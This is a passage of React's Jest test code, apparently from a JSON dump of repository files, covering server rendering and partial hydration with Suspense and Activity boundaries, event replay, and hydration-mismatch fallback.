this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(parentContainer);\n\n    // We're going to use a different root as a parent.\n    // This lets us detect whether an event goes through React's event system.\n    const parentRoot = ReactDOMClient.createRoot(parentContainer);\n    await act(() => parentRoot.render(<Parent />));\n\n    childSlotRef.current.appendChild(childContainer);\n\n    childContainer.innerHTML = finalHTML;\n\n    const a = childContainer.getElementsByTagName('a')[0];\n\n    suspend = true;\n\n    // Hydrate asynchronously.\n    await act(() => ReactDOMClient.hydrateRoot(childContainer, <App />));\n\n    // The Suspense boundary is not yet hydrated.\n    await act(() => {\n      a.click();\n    });\n    expect(clicks).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicks).toBe(0);\n\n    document.body.removeChild(parentContainer);\n  });\n\n  it('blocks only on the last continuous event (legacy system)', async () => {\n    let suspend1 = false;\n    let resolve1;\n    const promise1 = new Promise(resolvePromise => (resolve1 = resolvePromise));\n    let suspend2 = false;\n    let resolve2;\n    const promise2 = new Promise(resolvePromise => (resolve2 = resolvePromise));\n\n    function First({text}) {\n      if (suspend1) {\n        throw promise1;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function Second({text}) {\n      if (suspend2) {\n        throw promise2;\n      } else {\n        return 'World';\n      }\n    }\n\n    const ops = [];\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading First...\">\n            <span\n              onMouseEnter={() => ops.push('Mouse Enter First')}\n              onMouseLeave={() => ops.push('Mouse Leave First')}\n            />\n            {/* We suspend after to test what happens when we eager\n                attach the listener. */}\n            <First />\n          </Suspense>\n          <Suspense fallback=\"Loading Second...\">\n            <span\n              onMouseEnter={() => ops.push('Mouse Enter Second')}\n              onMouseLeave={() => ops.push('Mouse Leave Second')}>\n              <Second />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const appDiv = container.getElementsByTagName('div')[0];\n    const firstSpan = appDiv.getElementsByTagName('span')[0];\n    const secondSpan = appDiv.getElementsByTagName('span')[1];\n    expect(firstSpan.textContent).toBe('');\n    expect(secondSpan.textContent).toBe('World');\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend1 = true;\n    suspend2 = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    await waitForAll([]);\n\n    dispatchMouseEvent(appDiv, null);\n    dispatchMouseEvent(firstSpan, appDiv);\n    dispatchMouseEvent(secondSpan, firstSpan);\n\n    // Neither target is yet hydrated.\n    expect(ops).toEqual([]);\n\n    // Resolving the second promise so that rendering can complete.\n    suspend2 = false;\n    resolve2();\n    await promise2;\n\n    await waitForAll([]);\n\n    // We've unblocked the current hover target so we should be\n    // able to replay it now.\n    expect(ops).toEqual(['Mouse Enter Second']);\n\n    // Resolving the first promise has no effect now.\n    suspend1 = false;\n    resolve1();\n    await promise1;\n\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Mouse Enter Second']);\n\n    document.body.removeChild(container);\n  });\n\n  it('finishes normal pri work before continuing to hydrate a retry', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        Scheduler.log('Child');\n        return 'Hello';\n      }\n    }\n\n    function Sibling() {\n      Scheduler.log('Sibling');\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit Sibling');\n      });\n      return 'World';\n    }\n\n    // Avoid rerendering the tree by hoisting it.\n    const tree = (\n      <Suspense fallback=\"Loading...\">\n        <span ref={ref}>\n          <Child />\n        </span>\n      </Suspense>\n    );\n\n    function App({showSibling}) {\n      return (\n        <div>\n          {tree}\n          {showSibling ? <Sibling /> : null}\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['Child']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App showSibling={false} />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Hello');\n\n    // Resolving the promise should continue hydration\n    suspend = false;\n    resolve();\n    await promise;\n\n    Scheduler.unstable_advanceTime(100);\n\n    // Before we have a chance to flush it, we'll also render an update.\n    root.render(<App showSibling={true} />);\n\n    // When we flush we expect the Normal pri render to take priority\n    // over hydration.\n    await waitFor(['Sibling', 'Commit Sibling']);\n\n    // We shouldn't have hydrated the child yet.\n    expect(ref.current).toBe(null);\n    // But we did have a chance to update the content.\n    expect(container.textContent).toBe('HelloWorld');\n\n    await waitForAll(['Child']);\n\n    // Now we're hydrated.\n    expect(ref.current).not.toBe(null);\n  });\n\n  it('regression test: does not overfire non-bubbling browser events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Sibling({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    let submits = 0;\n\n    function Form() {\n      const [submitted, setSubmitted] = React.useState(false);\n      if (submitted) {\n        return null;\n      }\n      return (\n        <form\n          onSubmit={() => {\n            setSubmitted(true);\n            submits++;\n          }}>\n          Click me\n        </form>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Form />\n            <Sibling />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const form = container.getElementsByTagName('form')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(container.textContent).toBe('Click meHello');\n\n    // We're now partially hydrated.\n    await act(() => {\n      form.dispatchEvent(\n        new window.Event('submit', {\n          bubbles: true,\n        }),\n      );\n    });\n    expect(submits).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // discrete event not replayed\n    expect(submits).toBe(0);\n    expect(container.textContent).toBe('Click meHello');\n\n    document.body.removeChild(container);\n  });\n\n  // This test fails, in both forks. Without a boundary, the deferred tree won't\n  // re-enter hydration mode. It doesn't come up in practice because there's\n  // always a parent Suspense boundary. But it's still a bug. Leaving for a\n  // follow up.\n  //\n  // @gate FIXME\n  it('hydrates a hidden subtree outside of a Suspense boundary', async () => {\n    const ref = React.createRef();\n\n    function App() {\n      return (\n        <LegacyHiddenDiv mode=\"hidden\">\n          <span ref={ref}>Hidden child</span>\n        </LegacyHiddenDiv>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.innerHTML).toBe('Hidden child');\n\n    await act(() =>\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + error.message);\n        },\n      }),\n    );\n\n    expect(ref.current).toBe(span);\n    expect(span.innerHTML).toBe('Hidden child');\n  });\n\n  // @gate www\n  it('renders a hidden LegacyHidden component inside a Suspense boundary', async () => {\n    const ref = React.createRef();\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <LegacyHiddenDiv mode=\"hidden\">\n            <span ref={ref}>Hidden child</span>\n          </LegacyHiddenDiv>\n        </Suspense>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.innerHTML).toBe('Hidden child');\n\n    await act(() => ReactDOMClient.hydrateRoot(container, <App />));\n    expect(ref.current).toBe(span);\n    expect(span.innerHTML).toBe('Hidden child');\n  });\n\n  // @gate www\n  it('renders a visible LegacyHidden component', async () => {\n    const ref = React.createRef();\n\n    function App() {\n      return (\n        <LegacyHiddenDiv mode=\"visible\">\n          <span ref={ref}>Hidden child</span>\n        </LegacyHiddenDiv>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    await act(() => ReactDOMClient.hydrateRoot(container, <App />));\n    expect(ref.current).toBe(span);\n    expect(ref.current.innerHTML).toBe('Hidden child');\n  });\n\n  it('a visible Activity component is surrounded by comment markers', async () => {\n    const ref = React.createRef();\n\n    function App() {\n      return (\n        <Activity mode=\"visible\">\n          <span ref={ref}>Child</span>\n        </Activity>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog([]);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // Visible Activity boundaries behave exactly like fragments: a\n    // pure indirection.\n    expect(container).toMatchInlineSnapshot(`\n      <div>\n        <!--&-->\n        <span>\n          Child\n        </span>\n        <!--/&-->\n      </div>\n    `);\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // The tree successfully hydrates\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n    expect(ref.current).toBe(span);\n  });\n\n  it('a hidden Activity component is skipped over during server rendering', async () => {\n    const visibleRef = React.createRef();\n\n    function HiddenChild() {\n      Scheduler.log('HiddenChild');\n      return <span>Hidden</span>;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <>\n          <span ref={visibleRef}>Visible</span>\n          <Activity mode=\"hidden\">\n            <HiddenChild />\n          </Activity>\n          <Suspense fallback={null}>\n            <Activity mode=\"hidden\">\n              <HiddenChild />\n            </Activity>\n          </Suspense>\n        </>\n      );\n    }\n\n    // During server rendering, the Child component should not be evaluated,\n    // because it's inside a hidden tree.\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['App']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // The hidden child is not part of the server rendered HTML\n    expect(container).toMatchInlineSnapshot(`\n      <div>\n        <span>\n          Visible\n        </span>\n        <!--$-->\n        <!--/$-->\n      </div>\n    `);\n\n    const visibleSpan = container.getElementsByTagName('span')[0];\n\n    // The visible span successfully hydrates\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForPaint(['App']);\n    expect(visibleRef.current).toBe(visibleSpan);\n\n    if (gate(flags => flags.enableYieldingBeforePassive)) {\n      // Passive effects.\n      await waitForPaint([]);\n    }\n\n    // Subsequently, the hidden child is prerendered on the client\n    // along with hydrating the Suspense boundary outside the Activity.\n    await waitForPaint(['HiddenChild']);\n    expect(container).toMatchInlineSnapshot(`\n      <div>\n        <span>\n          Visible\n        </span>\n        <!--$-->\n        <!--/$-->\n        <span\n          style=\"display: none;\"\n        >\n          Hidden\n        </span>\n      </div>\n    `);\n\n    // Next the child inside the Activity is hydrated.\n    await waitForPaint(['HiddenChild']);\n\n    expect(container).toMatchInlineSnapshot(`\n      <div>\n        <span>\n          Visible\n        </span>\n        <!--$-->\n        <!--/$-->\n        <span\n          style=\"display: none;\"\n        >\n          Hidden\n        </span>\n        <span\n          style=\"display: none;\"\n        >\n          Hidden\n        </span>\n      </div>\n    `);\n  });\n\n  function itHydratesWithoutMismatch(msg, App) {\n    it('hydrates without mismatch ' + msg, async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const finalHTML = ReactDOMServer.renderToString(<App />);\n      container.innerHTML = finalHTML;\n\n      await act(() => ReactDOMClient.hydrateRoot(container, <App />));\n    });\n  }\n\n  itHydratesWithoutMismatch('an empty string with neighbors', function App() {\n    return (\n      <div>\n        <div id=\"test\">Test</div>\n        {'' && <div>Test</div>}\n        {'Test'}\n      </div>\n    );\n  });\n\n  itHydratesWithoutMismatch('an empty string', function App() {\n    return '';\n  });\n  itHydratesWithoutMismatch(\n    'an empty string simple in fragment',\n    function App() {\n      return (\n        <>\n          {''}\n          {'sup'}\n        </>\n      );\n    },\n  );\n  itHydratesWithoutMismatch(\n    'an empty string simple in suspense',\n    function App() {\n      return <Suspense>{'' && false}</Suspense>;\n    },\n  );\n\n  itHydratesWithoutMismatch('an empty string in class component', TestAppClass);\n\n  it('fallback to client render on hydration mismatch at root', async () => {\n    let suspend = true;\n    let resolve;\n    const promise = new Promise((res, rej) => {\n      resolve = () => {\n        suspend = false;\n        res();\n      };\n    });\n    function App({isClient}) {\n      return (\n        <>\n          <Suspense fallback={<div>Loading</div>}>\n            <ChildThatSuspends id={1} isClient={isClient} />\n          </Suspense>\n          {isClient ? <span>client</span> : <div>server</div>}\n          <Suspense fallback={<div>Loading</div>}>\n            <ChildThatSuspends id={2} isClient={isClient} />\n          </Suspense>\n        </>\n      );\n    }\n    function ChildThatSuspends({id, isClient}) {\n      if (isClient && suspend) {\n        throw promise;\n      }\n      return <div>{id}</div>;\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App isClient={false} />);\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    // We show fallback state when mismatch happens at root\n    expect(container.innerHTML).toEqual(\n      '<div>Loading</div><span>client</span><div>Loading</div>',\n    );\n\n    await act(async () => {\n      resolve();\n      await promise;\n    });\n\n    expect(container.innerHTML).toEqual(\n      '<div>1</div><span>client</span><div>2</div>',\n    );\n  });\n\n  it(\"falls back to client rendering when there's a text mismatch (direct text child)\", async () => {\n    function DirectTextChild({text}) {\n      return <div>{text}</div>;\n    }\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(\n      <DirectTextChild text=\"good\" />,\n    );\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <DirectTextChild text=\"bad\" />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered text didn't match the client.\",\n    ]);\n  });\n\n  it(\"falls back to client rendering when there's a text mismatch (text child with siblings)\", async () => {\n    function Sibling() {\n      return 'Sibling';\n    }\n\n    function TextChildWithSibling({text}) {\n      return (\n        <div>\n          <Sibling />\n          {text}\n        </div>\n      );\n    }\n    const container2 = document.createElement('div');\n    container2.innerHTML = ReactDOMServer.renderToString(\n      <TextChildWithSibling text=\"good\" />,\n    );\n    await act(() => {\n      ReactDOMClient.hydrateRoot(\n        container2,\n        <TextChildWithSibling text=\"bad\" />,\n        {\n          onRecoverableError(error) {\n            Scheduler.log(\n              'onRecoverableError: ' + normalizeError(error.message),\n            );\n            if (error.cause) {\n              Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n            }\n          },\n        },\n      );\n    });\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered text didn't match the client.\",\n    ]);\n  });\n\n  it('hides a dehydrated suspense boundary if the parent resuspends', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function Sibling({resuspend}) {\n      if (suspend && resuspend) {\n        throw promise;\n      } else {\n        return null;\n      }\n    }\n\n    function Component({text}) {\n      return (\n        <Suspense>\n          <Child text={text} />\n          <span ref={ref}>World</span>\n        </Suspense>\n      );\n    }\n\n    function App({text, resuspend}) {\n      const memoized = React.useMemo(() => <Component text={text} />, [text]);\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            {memoized}\n            <Sibling resuspend={resuspend} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App text=\"Hello\" />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"Hello\" />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null); // Still dehydrated\n    const span = container.getElementsByTagName('span')[0];\n    const textNode = span.previousSibling;\n    expect(textNode.nodeValue).toBe('Hello');\n    expect(span.textContent).toBe('World');\n\n    // Render an update, that resuspends the parent boundary.\n    // Flushing now now hide the text content.\n    await act(() => {\n      root.render(<App text=\"Hello\" resuspend={true} />);\n    });\n\n    expect(ref.current).toBe(null);\n    expect(span.style.display).toBe('none');\n    expect(textNode.nodeValue).toBe('');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(textNode.nodeValue).toBe('Hello');\n    expect(span.textContent).toBe('World');\n    expect(span.style.display).toBe('');\n    expect(ref.current).toBe(span);\n  });\n\n  // Regression for https://github.com/facebook/react/issues/35210 and other issues where lazy elements created in flight\n  // caused hydration issues b/c the replay pathway did not correctly reset the hydration cursor\n  it('Can hydrate even when lazy content resumes immediately inside a HostComponent', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = () => r({default: 'value'});\n    });\n\n    const lazyContent = React.lazy(() => {\n      Scheduler.log('Lazy initializer called');\n      return promise;\n    });\n\n    function App() {\n      return <label>{lazyContent}</label>;\n    }\n\n    // Server-rendered HTML\n    const container = document.createElement('div');\n    container.innerHTML = '<label>value</label>';\n\n    const hydrationErrors = [];\n\n    React.startTransition(() => {\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          console.log('[DEBUG] hydration error:', error.message);\n          hydrationErrors.push(error.message);\n        },\n      });\n    });\n\n    await waitFor(['Lazy initializer called']);\n    resolve();\n    await waitForAll([]);\n\n    // Without the fix, hydration cursor is wrong and causes mismatch\n    expect(hydrationErrors).toEqual([]);\n    expect(container.innerHTML).toEqual('<label>value</label>');\n  });\n\n  it('Can hydrate even when lazy content resumes immediately inside a HostSingleton', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = () => r({default: <div>value</div>});\n    });\n\n    const lazyContent = React.lazy(() => {\n      Scheduler.log('Lazy initializer called');\n      return promise;\n    });\n\n    function App() {\n      return (\n        <html>\n          <body>{lazyContent}</body>\n        </html>\n      );\n    }\n\n    // Server-rendered HTML\n    document.body.innerHTML = '<div>value</div>';\n\n    const hydrationErrors = [];\n\n    React.startTransition(() => {\n      ReactDOMClient.hydrateRoot(document, <App />, {\n        onRecoverableError(error) {\n          console.log('[DEBUG] hydration error:', error.message);\n          hydrationErrors.push(error.message);\n        },\n      });\n    });\n\n    await waitFor(['Lazy initializer called']);\n    resolve();\n    await waitForAll([]);\n\n    expect(hydrationErrors).toEqual([]);\n    expect(document.documentElement.outerHTML).toEqual(\n      '<html><head></head><body><div>value</div></body></html>',\n    );\n  });\n\n  it('Can hydrate even when lazy content resumes immediately inside a Suspense', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = () => r({default: 'value'});\n    });\n\n    const lazyContent = React.lazy(() => {\n      Scheduler.log('Lazy initializer called');\n      return promise;\n    });\n\n    function App() {\n      return <Suspense>{lazyContent}</Suspense>;\n    }\n\n    // Server-rendered HTML\n    const container = document.createElement('div');\n    container.innerHTML = '<!--$-->value<!--/$-->';\n\n    const hydrationErrors = [];\n\n    let root;\n    React.startTransition(() => {\n      root = ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          console.log('[DEBUG] hydration error:', error.message);\n          hydrationErrors.push(error.message);\n        },\n      });\n    });\n\n    await waitFor(['Lazy initializer called']);\n    resolve();\n    await waitForAll([]);\n\n    expect(hydrationErrors).toEqual([]);\n    expect(container.innerHTML).toEqual('<!--$-->value<!--/$-->');\n    root.unmount();\n    expect(container.innerHTML).toEqual('<!--$--><!--/$-->');\n  });\n\n  it('Can hydrate even when lazy content resumes immediately inside an Activity', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = () => r({default: 'value'});\n    });\n\n    const lazyContent = React.lazy(() => {\n      Scheduler.log('Lazy initializer called');\n      return promise;\n    });\n\n    function App() {\n      return <Activity mode=\"visible\">{lazyContent}</Activity>;\n    }\n\n    // Server-rendered HTML\n    const container = document.createElement('div');\n    container.innerHTML = '<!--&-->value<!--/&-->';\n\n    const hydrationErrors = [];\n\n    let root;\n    React.startTransition(() => {\n      root = ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          console.log('[DEBUG] hydration error:', error.message);\n          hydrationErrors.push(error.message);\n        },\n      });\n    });\n\n    await waitFor(['Lazy initializer called']);\n    resolve();\n    await waitForAll([]);\n\n    expect(hydrationErrors).toEqual([]);\n    expect(container.innerHTML).toEqual('<!--&-->value<!--/&-->');\n    root.unmount();\n    expect(container.innerHTML).toEqual('<!--&--><!--/&-->');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerPartialHydrationActivity-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet Activity;\nlet React = require('react');\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet ReactFeatureFlags;\nlet Scheduler;\nlet Suspense;\nlet useSyncExternalStore;\nlet act;\nlet IdleEventPriority;\nlet waitForAll;\nlet waitFor;\nlet assertLog;\nlet assertConsoleErrorDev;\n\nfunction normalizeError(msg) {\n  // Take the first sentence to make it easier to assert on.\n  const idx = msg.indexOf('.');\n  if (idx > -1) {\n    return msg.slice(0, idx + 1);\n  }\n  return msg;\n}\n\nfunction dispatchMouseEvent(to, from) {\n  if (!to) {\n    to = null;\n  }\n  if (!from) {\n    from = null;\n  }\n  if (from) {\n    const mouseOutEvent = document.createEvent('MouseEvents');\n    mouseOutEvent.initMouseEvent(\n      'mouseout',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      to,\n    );\n    from.dispatchEvent(mouseOutEvent);\n  }\n  if (to) {\n    const mouseOverEvent = document.createEvent('MouseEvents');\n    mouseOverEvent.initMouseEvent(\n      'mouseover',\n      true,\n      true,\n      window,\n      0,\n      50,\n      50,\n      50,\n      50,\n      false,\n      false,\n      false,\n      false,\n      0,\n      from,\n    );\n    to.dispatchEvent(mouseOverEvent);\n  }\n}\n\ndescribe('ReactDOMServerPartialHydrationActivity', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n    ReactFeatureFlags.enableSuspenseCallback = true;\n    ReactFeatureFlags.enableCreateEventHandleAPI = true;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    ReactDOMServer = require('react-dom/server');\n    Scheduler = require('scheduler');\n    Activity = React.Activity;\n    Suspense = React.Suspense;\n    useSyncExternalStore = React.useSyncExternalStore;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    IdleEventPriority = require('react-reconciler/constants').IdleEventPriority;\n  });\n\n  it('hydrates a parent even if a child Activity boundary is blocked', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <span ref={ref}>\n              <Child />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Resolving the promise should continue hydration\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([]);\n\n    // We should now have hydrated with a ref on the existing span.\n    expect(ref.current).toBe(span);\n  });\n\n  it('can hydrate siblings of a suspended component without errors', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <Activity>\n          <Child />\n          <Activity>\n            <div>Hello</div>\n          </Activity>\n        </Activity>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n    expect(container.textContent).toBe('HelloHello');\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    // Expect the server-generated HTML to stay intact.\n    expect(container.textContent).toBe('HelloHello');\n\n    // Resolving the promise should continue hydration\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([]);\n    // Hydration should not change anything.\n    expect(container.textContent).toBe('HelloHello');\n  });\n\n  it('falls back to client rendering boundary on mismatch', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function App() {\n      return (\n        <Activity>\n          <Child />\n          <Component />\n          <Component />\n          <Component />\n          <Component shouldMismatch={true} />\n        </Activity>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Hello', 'Component', 'Component', 'Component', 'Component']);\n\n    expect(container.innerHTML).toBe(\n      '<!--&-->Hello<div>Component</div><div>Component</div><div>Component</div><div>Component</div><!--/&-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Suspend']);\n    jest.runAllTimers();\n\n    // Unchanged\n    expect(container.innerHTML).toBe(\n      '<!--&-->Hello<div>Component</div><div>Component</div><div>Component</div><div>Component</div><!--/&-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Hello',\n      'Component',\n      'Component',\n      'Component',\n      'Component',\n\n      // second pass as client render\n      'Hello',\n      'Component',\n      'Component',\n      'Component',\n      'Component',\n      // Hydration mismatch is logged\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe(\n      'Hello<div>Component</div><div>Component</div><div>Component</div><article>Mismatch</article>',\n    );\n  });\n\n  it('handles if mismatch is after suspending', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function App() {\n      return (\n        <Activity>\n          <Child />\n          <Component shouldMismatch={true} />\n        </Activity>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    